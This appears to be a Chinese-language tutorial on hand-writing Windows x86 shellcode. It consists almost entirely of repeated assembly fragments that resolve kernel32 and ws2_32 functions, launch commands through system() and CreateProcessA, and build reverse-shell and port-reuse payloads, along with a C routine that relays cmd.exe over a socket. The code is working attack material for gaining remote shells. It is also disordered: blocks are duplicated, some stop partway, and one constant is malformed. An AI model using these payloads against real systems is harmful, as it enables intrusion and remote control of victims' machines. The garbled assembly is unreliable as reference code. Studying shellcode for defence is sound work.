for i in range(int(len(string)/stack_slot_size)): tmp = string[i*stack_slot_size:i*stack_slot_size+stack_slot_size] print("push 0x"+''.join(str(hex(ord(j)))[2:].zfill(2) for j in tmp))
section .text global _start _start: pushad ; push all gpr
; Establish a new stack frame push ebp mov ebp, esp
sub esp, 0x18 ; lift up stack, reserve space for local variables
; Find kernel32.dll base address xor esi, esi ; esi = 0 mov ebx, [fs:esi+0x30] ; avoid null bytes, to be compatible with fasm, for nasm, use fs:[eax+0x30] mov ebx, [ebx + 0x0C] mov ebx, [ebx + 0x14] mov ebx, [ebx] mov ebx, [ebx] mov ebx, [ebx + 0x10] ; now ebx holds kernel32.dll base address
; push the function name onto the stack xor esi, esi push esi ; null termination push 0x00636578 push 0x456e6957 mov [ebp-4], esp ; pointer to "WinExec\x00" is at ebp-0x4
mov [ebp-8], ebx ; base address of kernel32.dll is at ebp-0x8
; Find the address of the export table mov eax, [ebx + 0x3c] ; RVA of PE signature add eax, ebx ; address of PE signature mov eax, [eax + 0x78] ; RVA of export table add eax, ebx ; address of export table
; Find number of exported functions mov edx, [eax + 0x14] ; number of exported functions
; Find the address of the address table mov ecx, [eax + 0x1c] ; RVA of address table add ecx, ebx ; address of address table mov [ebp-0x14], ecx ; address of address table is at ebp-0x14
; Find the address of the name pointer table mov ecx, [eax + 0x20] ; RVA of name pointer table add ecx, ebx ; address of name pointer table mov [ebp-0x10], ecx ; address of name pointer table is at ebp-0x10
mov ecx, [eax + 0x24] ; RVA of ordinal table add ecx, ebx ; address of ordinal table mov [ebp-0xc], ecx ; address of ordinal table is at ebp-0xc
xor eax, eax ; cnt = 0
.loop: mov edi, [ebp-0x10] ; edi holds the address of name pointer table mov esi, [ebp-4] ; esi points to "WinExec\x00" xor ecx, ecx
cld ; set DF=0 => process strings from left to right mov edi, [edi + eax*4] ; edi holds the rva of the entries in name pointer table add edi, ebx ; edi holds the address of the function name add cx, 0x8 ; length of strings to compare (len('WinExec') = 8) repe cmpsb ; compare the strings pointed by esi and edi byte by byte. if equal, ZF=1, otherwise, ZF=0 jz _start.found ; if not zero, two strings are equal. found it!
inc eax ; cnt++ cmp eax, edx ; check if last function is reached jb _start.loop ; if not the last -> go back to the beginning of the loop
add esp, 0x24 jmp _start.end ; if function is not found, jump to the end
.found: ; the counter (eax) now holds the position of WinExec
mov ecx, [ebp-0xc] ; ecx holds the address of the ordinal table mov edx, [ebp-0x14] ; edx holds the address of the address table
mov ax, [ecx + eax*2] ; eax holds the ordinal number of the target function `WinExec` in ordinal table mov eax, [edx + eax*4] ; eax holds the RVA of the target function `WinExec` add eax, ebx ; eax holds the address of the target function `WinExec`
; Establish a new stack frame push ebp mov ebp, esp
sub esp, 0x18 ; lift up stack, reserve space for local variables
; Find kernel32.dll base address xor esi, esi ; esi = 0 mov ebx, [fs:esi+0x30] ; avoid null bytes, to be compatible with fasm, for nasm, use fs:[eax+0x30] mov ebx, [ebx + 0x0C] mov ebx, [ebx + 0x14] mov ebx, [ebx] mov ebx, [ebx] mov ebx, [ebx + 0x10] ; now ebx holds kernel32.dll base address
; push the function name onto the stack xor esi, esi push esi ; null termination push 0x00007373 push 0x65726464 push 0x41636f72 push 0x50746547 mov [ebp-4], esp ; pointer to "GetProcAddress" is at ebp-0x4
mov [ebp-8], ebx ; base address of kernel32.dll is at ebp-0x8
; Find the address of the export table mov eax, [ebx + 0x3c] ; RVA of PE signature add eax, ebx ; address of PE signature mov eax, [eax + 0x78] ; RVA of export table add eax, ebx ; address of export table
; Find number of exported functions mov edx, [eax + 0x14] ; number of exported functions
; Find the address of the address table mov ecx, [eax + 0x1c] ; RVA of address table add ecx, ebx ; address of address table mov [ebp-0x14], ecx ; address of address table is at ebp-0x14
; Find the address of the name pointer table mov ecx, [eax + 0x20] ; RVA of name pointer table add ecx, ebx ; address of name pointer table mov [ebp-0x10], ecx ; address of name pointer table is at ebp-0x10
mov ecx, [eax + 0x24] ; RVA of ordinal table add ecx, ebx ; address of ordinal table mov [ebp-0xc], ecx ; address of ordinal table is at ebp-0xc
xor eax, eax ; cnt = 0
.loop: mov edi, [ebp-0x10] ; edi holds the address of name pointer table mov esi, [ebp-4] ; esi points to "GetProcAddress" xor ecx, ecx
cld ; set DF=0 => process strings from left to right mov edi, [edi + eax*4] ; edi holds the rva of the entries in name pointer table add edi, ebx ; edi holds the address of the function name add cx, 0xe ; length of strings to compare (len('GetProcAddress') = 14 = 0xe) repe cmpsb ; compare the strings pointed by esi and edi byte by byte. if equal, ZF=1, otherwise, ZF=0 jz _start.found ; if not zero, two strings are equal. found it!
inc eax ; cnt++ cmp eax, edx ; check if last function is reached jb _start.loop ; if not the last -> go back to the beginning of the loop
add esp, 0x24 jmp _start.end ; if function is not found, jump to the end .found: ; the counter (eax) now holds the position of WinExec
mov ecx, [ebp-0xc] ; ecx holds the address of the ordinal table mov edx, [ebp-0x14] ; edx holds the address of the address table
mov ax, [ecx + eax*2] ; eax holds the ordinal number of the target function `GetProcAddress` in ordinal table mov eax, [edx + eax*4] ; eax holds the RVA of the target function `GetProcAddress` add eax, ebx ; eax holds the address of the target function `GetProcAddress`
; use GetProcAddress to find the address of LoadLibrary in kernel32.dll mov [ebp-0x4], eax ; address of "GetProcAddress" at [ebp-0x04] mov esp, ebp sub esp, 0x8 ; esp now points to the base address of kernel32.dll xor ecx, ecx push ecx ; null termination push 0x41797261 push 0x7262694c push 0x64616f4c ; "LoadLibraryA" push esp ; push the pointer of the string "LoadLibraryA" mov ecx, [ebp-0x8] push ecx ; push the base address of kernel32.dll call eax ; call "GetProcAddress" to get the address of LoadLibraryA
; use LoadLibraryA to load msvcrt.dll mov [ebp-0xc], eax ; address of "LoadLibraryA" at [ebp-0xc] mov esp, ebp ; rebase the stack sub esp, 0xc ; esp now points to the address of LoadLibraryA xor ecx, ecx push ecx push 0x00006c6c push 0x642e7472 push 0x6376736db ; "msvcrt.dll" push esp call eax ; push the pointer of the string "msvcrt.dll"
; use GetProcAddress to find the address of system in msvcrt.dll mov [ebp-0x10], eax ; base address of msvcrt.dll at [ebp-0x10] mov esp, ebp ; rebase the stack sub esp, 0x10 ; esp now points to the base address of msvcrt.dll push 0x00006d65 push 0x74737973 ; "system" push esp ; push the pointer of the string "system" push eax ; push the base address of msvcrt.dll mov eax, [ebp-0x4] ; move the address of "GetProcAddress" to eax call eax ; call "GetProcAddress"
到结尾时,eax中有着system函数的地址。
最后就是调用system函数来执行命令了,比如弹个记事本出来?
1 2 3 4 5 6
; use system to execute arbitrary command push 0x00657865 push 0x2e646170 push 0x65746f6e ; "notepad.exe" push esp ; push the pointer of the string "notepad.exe" call eax ; call "system"
format PE console use32 entry _start _start: pushad ; push all gpr
; Establish a new stack frame push ebp mov ebp, esp
sub esp, 0x18 ; lift up stack, reserve space for local variables
; Find kernel32.dll base address xor esi, esi ; esi = 0 mov ebx, [fs:esi+0x30] ; avoid null bytes, to be compatible with fasm, for nasm, use fs:[eax+0x30] mov ebx, [ebx + 0x0C] mov ebx, [ebx + 0x14] mov ebx, [ebx] mov ebx, [ebx] mov ebx, [ebx + 0x10] ; now ebx holds kernel32.dll base address
; push the function name onto the stack xor esi, esi push esi ; null termination push 0x00007373 push 0x65726464 push 0x41636f72 push 0x50746547 mov [ebp-4], esp ; pointer to "GetProcAddress" is at ebp-0x4
mov [ebp-8], ebx ; base address of kernel32.dll is at ebp-0x8
; Find the address of the export table mov eax, [ebx + 0x3c] ; RVA of PE signature add eax, ebx ; address of PE signature mov eax, [eax + 0x78] ; RVA of export table add eax, ebx ; address of export table
; Find number of exported functions mov edx, [eax + 0x14] ; number of exported functions
; Find the address of the address table mov ecx, [eax + 0x1c] ; RVA of address table add ecx, ebx ; address of address table mov [ebp-0x14], ecx ; address of address table is at ebp-0x14
; Find the address of the name pointer table mov ecx, [eax + 0x20] ; RVA of name pointer table add ecx, ebx ; address of name pointer table mov [ebp-0x10], ecx ; address of name pointer table is at ebp-0x10
mov ecx, [eax + 0x24] ; RVA of ordinal table add ecx, ebx ; address of ordinal table mov [ebp-0xc], ecx ; address of ordinal table is at ebp-0xc
xor eax, eax ; cnt = 0
.loop: mov edi, [ebp-0x10] ; edi holds the address of name pointer table mov esi, [ebp-4] ; esi points to "GetProcAddress" xor ecx, ecx
cld ; set DF=0 => process strings from left to right mov edi, [edi + eax*4] ; edi holds the rva of the entries in name pointer table add edi, ebx ; edi holds the address of the function name add cx, 0xe ; length of strings to compare (len('GetProcAddress') = 14 = 0xe) repe cmpsb ; compare the strings pointed by esi and edi byte by byte. if equal, ZF=1, otherwise, ZF=0 jz _start.found ; if not zero, two strings are equal. found it!
inc eax ; cnt++ cmp eax, edx ; check if last function is reached jb _start.loop ; if not the last -> go back to the beginning of the loop
add esp, 0x24 jmp _start.end ; if function is not found, jump to the end
.found: ; the counter (eax) now holds the position of WinExec
mov ecx, [ebp-0xc] ; ecx holds the address of the ordinal table mov edx, [ebp-0x14] ; edx holds the address of the address table
mov ax, [ecx + eax*2] ; eax holds the ordinal number of the target function `GetProcAddress` in ordinal table mov eax, [edx + eax*4] ; eax holds the RVA of the target function `GetProcAddress` add eax, ebx ; eax holds the address of the target function `GetProcAddress`
; use GetProcAddress to find the address of LoadLibraryA in kernel32.dll mov [ebp-0x4], eax ; address of "GetProcAddress" at [ebp-0x04] mov esp, ebp sub esp, 0x8 ; esp now points to the base address of kernel32.dll xor ecx, ecx push ecx ; null termination push 0x41797261 push 0x7262694c push 0x64616f4c ; "LoadLibraryA" push esp ; push the pointer of the string "LoadLibraryA" mov ecx, [ebp-0x8] push ecx ; push the base address of kernel32.dll call eax ; call "GetProcAddress" to get the address of LoadLibraryA
; use LoadLibraryA to load msvcrt.dll mov [ebp-0xc], eax ; address of "LoadLibraryA" at [ebp-0xc] mov esp, ebp ; rebase the stack sub esp, 0xc ; esp now points to the address of LoadLibraryA xor ecx, ecx push ecx push 0x00006c6c push 0x642e7472 push 0x6376736d ; "msvcrt.dll" push esp call eax ; push the pointer of the string "msvcrt.dll"
; use GetProcAddress to find the address of system in msvcrt.dll mov [ebp-0x10], eax ; base address of msvcrt.dll at [ebp-0x10] mov esp, ebp ; rebase the stack sub esp, 0x10 ; esp now points to the base address of msvcrt.dll push 0x00006d65 push 0x74737973 ; "system" push esp ; push the pointer of the string "system" push eax ; push the base address of msvcrt.dll mov eax, [ebp-0x4] ; move the address of "GetProcAddress" to eax call eax ; call "GetProcAddress"
; use system to execute arbitrary command push 0x00657865 push 0x2e646170 push 0x65746f6e ; "notepad.exe" push esp ; push the pointer of the string "notepad.exe" call eax ; call "system"
format PE console use32 entry _start _start: pushad ; push all gpr
; Establish a new stack frame push ebp mov ebp, esp
sub esp, 0x18 ; lift up stack, reserve space for local variables
; Find kernel32.dll base address xor esi, esi ; esi = 0 mov ebx, [fs:esi+0x30] ; avoid null bytes, to be compatible with fasm, for nasm, use fs:[eax+0x30] mov ebx, [ebx + 0x0C] mov ebx, [ebx + 0x14] mov ebx, [ebx] mov ebx, [ebx] mov ebx, [ebx + 0x10] ; now ebx holds kernel32.dll base address
; push the function name onto the stack xor esi, esi push esi ; null termination push 0x00007373 push 0x65726464 push 0x41636f72 push 0x50746547 mov [ebp-8], esp ; pointer to "GetProcAddress" is at ebp-0x8
mov [ebp-4], ebx ; base address of kernel32.dll is at ebp-0x4
; Find the address of the export table mov eax, [ebx + 0x3c] ; RVA of PE signature add eax, ebx ; address of PE signature mov eax, [eax + 0x78] ; RVA of export table add eax, ebx ; address of export table
; Find number of exported functions mov edx, [eax + 0x14] ; number of exported functions
; Find the address of the address table mov ecx, [eax + 0x1c] ; RVA of address table add ecx, ebx ; address of address table mov [ebp-0x14], ecx ; address of address table is at ebp-0x14
; Find the address of the name pointer table mov ecx, [eax + 0x20] ; RVA of name pointer table add ecx, ebx ; address of name pointer table mov [ebp-0x10], ecx ; address of name pointer table is at ebp-0x10
mov ecx, [eax + 0x24] ; RVA of ordinal table add ecx, ebx ; address of ordinal table mov [ebp-0xc], ecx ; address of ordinal table is at ebp-0xc
xor eax, eax ; cnt = 0
.loop: mov edi, [ebp-0x10] ; edi holds the address of name pointer table mov esi, [ebp-8] ; esi points to "GetProcAddress" xor ecx, ecx
cld ; set DF=0 => process strings from left to right mov edi, [edi + eax*4] ; edi holds the rva of the entries in name pointer table add edi, ebx ; edi holds the address of the function name add cx, 0xe ; length of strings to compare (len('GetProcAddress') = 14 = 0xe) repe cmpsb ; compare the strings pointed by esi and edi byte by byte. if equal, ZF=1, otherwise, ZF=0 jz _start.found ; if not zero, two strings are equal. found it!
inc eax ; cnt++ cmp eax, edx ; check if last function is reached jb _start.loop ; if not the last -> go back to the beginning of the loop
add esp, 0x24 jmp _start.end ; if function is not found, jump to the end .found: ; the counter (eax) now holds the position of GetProcAddress
mov ecx, [ebp-0xc] ; ecx holds the address of the ordinal table mov edx, [ebp-0x14] ; edx holds the address of the address table
mov ax, [ecx + eax*2] ; eax holds the ordinal number of the target function `GetProcAddress` in ordinal table mov eax, [edx + eax*4] ; eax holds the RVA of the target function `GetProcAddress` add eax, ebx ; eax holds the address of the target function `GetProcAddress` add esp, 0x28 ; stack rebase push eax ; address of `GetProcAddress` is at [ebp-0x08]
; use GetProcAddress to find the address of CreateProcessA and LoadLibraryA push 0x00004173 push 0x7365636f push 0x72506574 push 0x61657243 ; "CreateProcessA" push esp push dword [ebp-0x4] ; base address of kernel32.dll call eax ; call "GetProcAddress" to get the address of CreateProcessA add esp, 0x10 ; stack rebase push eax ; address of `CreateProcessA` is at ebp-0xc xor eax, eax push eax ; null termination push 0x41797261 push 0x7262694c push 0x64616f4c ; "LoadLibraryA" push esp push dword [ebp-0x4] ; base address of kernel32.dll mov eax, [ebp-0x8] call eax ; call "GetProcAddress" to get the address of LoadLibraryA add esp, 0x10 ; stack rebase push eax ; address of `LoadLibraryA' is at ebp-0x10
然后用LoadLibraryA函数去加载ws2_32.dll,并获得dll的加载基址
1 2 3 4 5 6 7 8
; use LoadLibraryA to load ws2_32.dll and get the base address push 0x00006c6c push 0x642e3233 push 0x5f327377 ; "ws2_32.dll" push esp call eax ; call "LoadLibraryA" to load ws2_32.dll add esp, 0xc ; stack rebase push eax ; base address of ws2_32.dll is at ebp-0x14
; use GetProcAddress to find the address of WSAStartup£¬WSASocketA£¬and WSAConnect push 0x00007075 push 0x74726174 push 0x53415357 ; "WSAStartup" push esp push dword [ebp-0x14] mov eax, [ebp-0x8] call eax ; call "GetProcAddress" to get the address of WSAStartup add esp, 0xc ; stack rebase push eax ; address of `WSAStartup` is at ebp-0x18 push 0x00004174 push 0x656b636f push 0x53415357 ; "WSASocketA" push esp push dword [ebp-0x14] ; base address of ws2_32.dll mov eax, [ebp-0x8] call eax ; call "GetProcAddress" to get the address of WSASocket add esp, 0xc ; stack rebase push eax ; address of `WSASocket` is at ebp-0x1c push 0x00007463 push 0x656e6e6f push 0x43415357 ; "WSAConnect" push esp push dword [ebp-0x14] ; base address of ws2_32.dll mov eax, [ebp-0x8] call eax ; call "GetProcAddress" to get the address of WSAConnect add esp, 0xc ; stack rebase push eax ; address of `WSAConnect` is at ebp-0x20
When an application or DLL calls the WSAStartup function, the Winsock DLL examines the version of the Windows Sockets specification requested by the application passed in the wVersionRequested parameter. If the version requested by the application is equal to or higher than the lowest version supported by the Winsock DLL, the call succeeds and the Winsock DLL returns detailed information in the WSADATA structure pointed to by the lpWSAData parameter.
format PE console use32 entry _start _start: pushad ; push all gpr
; Establish a new stack frame push ebp mov ebp, esp
sub esp, 0x18 ; lift up stack, reserve space for local variables
; Find kernel32.dll base address xor esi, esi ; esi = 0 mov ebx, [fs:esi+0x30] ; avoid null bytes, to be compatible with fasm, for nasm, use fs:[eax+0x30] mov ebx, [ebx + 0x0C] mov ebx, [ebx + 0x14] mov ebx, [ebx] mov ebx, [ebx] mov ebx, [ebx + 0x10] ; now ebx holds kernel32.dll base address
; push the function name onto the stack xor esi, esi push esi ; null termination push 0x00007373 push 0x65726464 push 0x41636f72 push 0x50746547 mov [ebp-8], esp ; pointer to "GetProcAddress" is at ebp-0x8
mov [ebp-4], ebx ; base address of kernel32.dll is at ebp-0x4
; Find the address of the export table mov eax, [ebx + 0x3c] ; RVA of PE signature add eax, ebx ; address of PE signature mov eax, [eax + 0x78] ; RVA of export table add eax, ebx ; address of export table
; Find number of exported functions mov edx, [eax + 0x14] ; number of exported functions
; Find the address of the address table mov ecx, [eax + 0x1c] ; RVA of address table add ecx, ebx ; address of address table mov [ebp-0x14], ecx ; address of address table is at ebp-0x14
; Find the address of the name pointer table mov ecx, [eax + 0x20] ; RVA of name pointer table add ecx, ebx ; address of name pointer table mov [ebp-0x10], ecx ; address of name pointer table is at ebp-0x10
mov ecx, [eax + 0x24] ; RVA of ordinal table add ecx, ebx ; address of ordinal table mov [ebp-0xc], ecx ; address of ordinal table is at ebp-0xc
; find the address of GetProcAddress xor eax, eax ; cnt = 0
.loop: mov edi, [ebp-0x10] ; edi holds the address of name pointer table mov esi, [ebp-8] ; esi points to "GetProcAddress" xor ecx, ecx
cld ; set DF=0 => process strings from left to right mov edi, [edi + eax*4] ; edi holds the rva of the entries in name pointer table add edi, ebx ; edi holds the address of the function name add cx, 0xe ; length of strings to compare (len('GetProcAddress') = 14 = 0xe) repe cmpsb ; compare the strings pointed by esi and edi byte by byte. if equal, ZF=1, otherwise, ZF=0 jz _start.found ; if not zero, two strings are equal. found it!
inc eax ; cnt++ cmp eax, edx ; check if last function is reached jb _start.loop ; if not the last -> go back to the beginning of the loop
add esp, 0x24 jmp _start.end ; if function is not found, jump to the end .found: ; the counter (eax) now holds the position of GetProcAddress
mov ecx, [ebp-0xc] ; ecx holds the address of the ordinal table mov edx, [ebp-0x14] ; edx holds the address of the address table
mov ax, [ecx + eax*2] ; eax holds the ordinal number of the target function `GetProcAddress` in ordinal table mov eax, [edx + eax*4] ; eax holds the RVA of the target function `GetProcAddress` add eax, ebx ; eax holds the address of the target function `GetProcAddress` add esp, 0x28 push eax ; address of `GetProcAddress` is at ebp-0x08
; use GetProcAddress to find the address of CreateProcessA and LoadLibraryA push 0x00004173 push 0x7365636f push 0x72506574 push 0x61657243 ; "CreateProcessA" push esp push dword [ebp-0x4] ; base address of kernel32.dll call eax ; call "GetProcAddress" to get the address of CreateProcessA add esp, 0x10 ; stack rebase push eax ; address of `CreateProcessA` is at ebp-0xc xor eax, eax push eax ; null termination push 0x41797261 push 0x7262694c push 0x64616f4c ; "LoadLibraryA" push esp push dword [ebp-0x4] ; base address of kernel32.dll mov eax, [ebp-0x8] call eax ; call "GetProcAddress" to get the address of LoadLibraryA add esp, 0x10 ; stack rebase push eax ; address of `LoadLibraryA' is at ebp-0x10
; use LoadLibraryA to load ws2_32.dll and get the base address push 0x00006c6c push 0x642e3233 push 0x5f327377 ; "ws2_32.dll" push esp call eax ; call "LoadLibraryA" to load ws2_32.dll add esp, 0xc ; stack rebase push eax ; base address of ws2_32.dll is at ebp-0x14
; use GetProcAddress to find the address of WSAStartup£¬WSASocketA£¬and WSAConnect push 0x00007075 push 0x74726174 push 0x53415357 ; "WSAStartup" push esp push dword [ebp-0x14] mov eax, [ebp-0x8] call eax ; call "GetProcAddress" to get the address of WSAStartup add esp, 0xc ; stack rebase push eax ; address of `WSAStartup` is at ebp-0x18 push 0x00004174 push 0x656b636f push 0x53415357 ; "WSASocketA" push esp push dword [ebp-0x14] ; base address of ws2_32.dll mov eax, [ebp-0x8] call eax ; call "GetProcAddress" to get the address of WSASocket add esp, 0xc ; stack rebase push eax ; address of `WSASocket` is at ebp-0x1c push 0x00007463 push 0x656e6e6f push 0x43415357 ; "WSAConnect" push esp push dword [ebp-0x14] ; base address of ws2_32.dll mov eax, [ebp-0x8] call eax ; call "GetProcAddress" to get the address of WSAConnect add esp, 0xc ; stack rebase push eax ; address of `WSAConnect` is at ebp-0x20
;oneway_port_reuse.asm section .text global _start _start: ; I hardcoded all the function calls. If needed, can retrieve them dynamically. push ebp mov ebp, esp sub esp, 0x40 ; lift up stack
section .text global _start _start: mov ebp, esp sub esp, 0x18 ; Find kernel32.dll base address xor esi, esi ; esi = 0 mov ebx, [fs:esi+0x30] ; avoid null bytes, to be compatible with fasm, for nasm, use fs:[eax+0x30] mov ebx, [ebx + 0x0C] mov ebx, [ebx + 0x14] mov ebx, [ebx] mov ebx, [ebx] mov ebx, [ebx + 0x10] ; now ebx holds kernel32.dll base address
; push the function name onto the stack xor esi, esi push esi ; null termination push 0x00007373 push 0x65726464 push 0x41636f72 push 0x50746547 mov [ebp-8], esp ; pointer to "GetProcAddress" is at ebp-0x8
mov [ebp-4], ebx ; base address of kernel32.dll is at ebp-0x4
; Find the address of the export table mov eax, [ebx + 0x3c] ; RVA of PE signature add eax, ebx ; address of PE signature mov eax, [eax + 0x78] ; RVA of export table add eax, ebx ; address of export table
; Find number of exported functions mov edx, [eax + 0x14] ; number of exported functions
; Find the address of the address table mov ecx, [eax + 0x1c] ; RVA of address table add ecx, ebx ; address of address table mov [ebp-0x14], ecx ; address of address table is at ebp-0x14
; Find the address of the name pointer table mov ecx, [eax + 0x20] ; RVA of name pointer table add ecx, ebx ; address of name pointer table mov [ebp-0x10], ecx ; address of name pointer table is at ebp-0x10
mov ecx, [eax + 0x24] ; RVA of ordinal table add ecx, ebx ; address of ordinal table mov [ebp-0xc], ecx ; address of ordinal table is at ebp-0xc
; find the address of GetProcAddress xor eax, eax ; cnt = 0
.loop: mov edi, [ebp-0x10] ; edi holds the address of name pointer table mov esi, [ebp-8] ; esi points to "GetProcAddress" xor ecx, ecx
cld ; set DF=0 => process strings from left to right mov edi, [edi + eax*4] ; edi holds the rva of the entries in name pointer table add edi, ebx ; edi holds the address of the function name add cx, 0xe ; length of strings to compare (len('GetProcAddress') = 14 = 0xe) repe cmpsb ; compare the strings pointed by esi and edi byte by byte. if equal, ZF=1, otherwise, ZF=0 jz _start.found ; if not zero, two strings are equal. found it!
inc eax ; cnt++ cmp eax, edx ; check if last function is reached jb _start.loop ; if not the last -> go back to the beginning of the loop
add esp, 0x24 jmp _start.end ; if function is not found, jump to the end .found: ; the counter (eax) now holds the position of GetProcAddress
mov ecx, [ebp-0xc] ; ecx holds the address of the ordinal table mov edx, [ebp-0x14] ; edx holds the address of the address table
mov ax, [ecx + eax*2] ; eax holds the ordinal number of the target function `GetProcAddress` in ordinal table mov eax, [edx + eax*4] ; eax holds the RVA of the target function `GetProcAddress` add eax, ebx ; eax holds the address of the target function `GetProcAddress` add esp, 0x28 push eax ; address of `GetProcAddress` is at ebp-0x08
; use GetProcAddress to find the address of CreateProcessA push 0x00004173 push 0x7365636f push 0x72506574 push 0x61657243 ; "CreateProcessA" push esp push dword [ebp-0x4] ; base address of kernel32.dll call eax ; call "GetProcAddress" to get the address of CreateProcessA add esp, 0x10 ; stack rebase push eax ; address of `CreateProcessA` is at ebp-0xc
The WSASocket function causes a socket descriptor and any related resources to be allocated and associated with a transport-service provider. Most sockets should be created with the WSA_FLAG_OVERLAPPED attribute set in the dwFlags parameter. A socket created with this attribute supports the use of overlapped I/O operations which provide higher performance. By default, a socket created with the WSASocket function will not have this overlapped attribute set. In contrast, the socket function creates a socket that supports overlapped I/O operations as the default behavior.
而在History and Advances in Windows Shellcode一文中也有说明:
It is important to note that we are using WSASocket() and not socket() to create a socket. Using WSASocket will create a socket that will not have an overlapped attribute. Such socket can be use directly as a input/output/error stream in CreateProcess() API. This eliminates the need to use anonymous pipe to get input/output from a process which exist in older shellcode.
//create first pipe,for cmd.exe to write the output to pipeattr1.nLength = 12; pipeattr1.lpSecurityDescriptor = 0; pipeattr1.bInheritHandle = true; CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0);
//create second pipe,for cmd.exe to read the input from pipeattr2.nLength = 12; pipeattr2.lpSecurityDescriptor = 0; pipeattr2.bInheritHandle = true; CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0);
while(1) { ret = PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0); if(lBytesRead) { // if first pipe has output, read it and send to client ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0); if(!ret) break; ret=send(clientFD,Buff,lBytesRead,0); if(ret<=0) break; } else { // otherwise, receive the command from the client lBytesRead=recv(clientFD,Buff,1024,0); if(lBytesRead<=0) break; // write the command to the second pipe, which is the stdin of cmd.exe ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0); if(!ret) break; } } return0; }
; oneway_reverse.asm ; suppose the socket is saved as the [ebp] at the beginning of the shellcode. section .text global _start _start: push ebp mov ebp, esp
sub esp, 0x18 ; lift up stack, reserve space for local variables
; Find kernel32.dll base address xor esi, esi ; esi = 0 mov ebx, [fs:esi+0x30] ; avoid null bytes, to be compatible with fasm, for nasm, use fs:[eax+0x30] mov ebx, [ebx + 0x0C] mov ebx, [ebx + 0x14] mov ebx, [ebx] mov ebx, [ebx] mov ebx, [ebx + 0x10] ; now ebx holds kernel32.dll base address
; push the function name onto the stack xor esi, esi push esi ; null termination push 0x00007373 push 0x65726464 push 0x41636f72 push 0x50746547 mov [ebp-8], esp ; pointer to "GetProcAddress" is at ebp-0x8
mov [ebp-4], ebx ; base address of kernel32.dll is at ebp-0x4
; Find the address of the export table mov eax, [ebx + 0x3c] ; RVA of PE signature add eax, ebx ; address of PE signature mov eax, [eax + 0x78] ; RVA of export table add eax, ebx ; address of export table
; Find number of exported functions mov edx, [eax + 0x14] ; number of exported functions
; Find the address of the address table mov ecx, [eax + 0x1c] ; RVA of address table add ecx, ebx ; address of address table mov [ebp-0x14], ecx ; address of address table is at ebp-0x14
; Find the address of the name pointer table mov ecx, [eax + 0x20] ; RVA of name pointer table add ecx, ebx ; address of name pointer table mov [ebp-0x10], ecx ; address of name pointer table is at ebp-0x10
mov ecx, [eax + 0x24] ; RVA of ordinal table add ecx, ebx ; address of ordinal table mov [ebp-0xc], ecx ; address of ordinal table is at ebp-0xc
; find the address of GetProcAddress xor eax, eax ; cnt = 0
.loop: mov edi, [ebp-0x10] ; edi holds the address of name pointer table mov esi, [ebp-8] ; esi points to "GetProcAddress" xor ecx, ecx
cld ; set DF=0 => process strings from left to right mov edi, [edi + eax*4] ; edi holds the rva of the entries in name pointer table add edi, ebx ; edi holds the address of the function name add cx, 0xe ; length of strings to compare (len('GetProcAddress') = 14 = 0xe) repe cmpsb ; compare the strings pointed by esi and edi byte by byte. if equal, ZF=1, otherwise, ZF=0 jz _start.found ; if not zero, two strings are equal. found it!
inc eax ; cnt++ cmp eax, edx ; check if last function is reached jb _start.loop ; if not the last -> go back to the beginning of the loop
add esp, 0x24 jmp _start.end ; if function is not found, jump to the end .found: ; the counter (eax) now holds the position of GetProcAddress
mov ecx, [ebp-0xc] ; ecx holds the address of the ordinal table mov edx, [ebp-0x14] ; edx holds the address of the address table
mov ax, [ecx + eax*2] ; eax holds the ordinal number of the target function `GetProcAddress` in ordinal table mov eax, [edx + eax*4] ; eax holds the RVA of the target function `GetProcAddress` add eax, ebx ; eax holds the address of the target function `GetProcAddress` add esp, 0x28 push eax ; address of `GetProcAddress` is at ebp-0x08
; use GetProcAddress to find the address of CreateProcessA,LoadLibraryA,Createpipe,PeekNamedPipe,ReadFile and WriteFile push 0x00004173 push 0x7365636f push 0x72506574 push 0x61657243 ; "CreateProcessA" push esp push dword [ebp-0x4] ; base address of kernel32.dll call eax ; call "GetProcAddress" to get the address of CreateProcessA add esp, 0x10 ; stack rebase push eax ; address of `CreateProcessA` is at ebp-0xc
xor eax, eax push eax ; null termination push 0x41797261 push 0x7262694c push 0x64616f4c ; "LoadLibraryA" push esp push dword [ebp-0x4] ; base address of kernel32.dll mov eax, [ebp-0x8] call eax ; call "GetProcAddress" to get the address of LoadLibraryA add esp, 0x10 ; stack rebase push eax ; address of `LoadLibraryA' is at ebp-0x10
push 0x00006570 push 0x69506574 push 0x61657243 ; "CreatePipe" push esp push dword [ebp-0x4] ; base address of kernel32.dll mov eax, [ebp-0x8] call eax ; call "GetProcAddress" to get the address of CreatePipe add esp, 0x0c ; stack rebase push eax ; address of `CreatepPipe` is at ebp-0x14
push 0x00000065 push 0x70695064 push 0x656d614e push 0x6b656550 push esp ; "PeekNamedPipe" push dword [ebp-0x4] ; base address of kernel32.dll mov eax, [ebp-0x8] call eax add esp, 0x10 ; stack rebase push eax ; address of `PeekNamedPipe` is at ebp-0x18
xor eax, eax push eax push 0x656c6946 push 0x64616552 ; "ReadFile" push esp ; "ReadFile" push dword [ebp-0x4] ; base address of kernel32.dll mov eax, [ebp-0x8] call eax ; call "GetProcAddress" to get the address of ReadFile add esp, 0xc ; stack rebase push eax ; address of `ReadFile` is at ebp-0x1c
push 0x00000065 push 0x6c694665 push 0x74697257 ; "WriteFile" push esp push dword [ebp-0x4] ; base address of kernel32.dll mov eax, [ebp-0x8] call eax ; call "GetProcAddress" to get the address of WriteFile add esp, 0xc ; stack rebase push eax ; address of `WriteFile` is at ebp-0x20
; use LoadLibraryA to load ws2_32.dll and get the base address push 0x00006c6c push 0x642e3233 push 0x5f327377 ; "ws2_32.dll" push esp mov eax, [ebp-0x10] call eax ; call "LoadLibraryA" to load ws2_32.dll add esp, 0xc ; stack rebase push eax ; base address of ws2_32.dll is at ebp-0x24
; use GetProcAddress to find the address of send and recv xor ebx, ebx push ebx push 0x646e6573 ; "send" push esp push dword [ebp-0x24] ; base address of ws2_32.dll mov eax, [ebp-0x8] call eax ; call "GetProcAddress" to get the address of send add esp, 0x8 ; stack rebase push eax ; address of `send` is at ebp-0x28
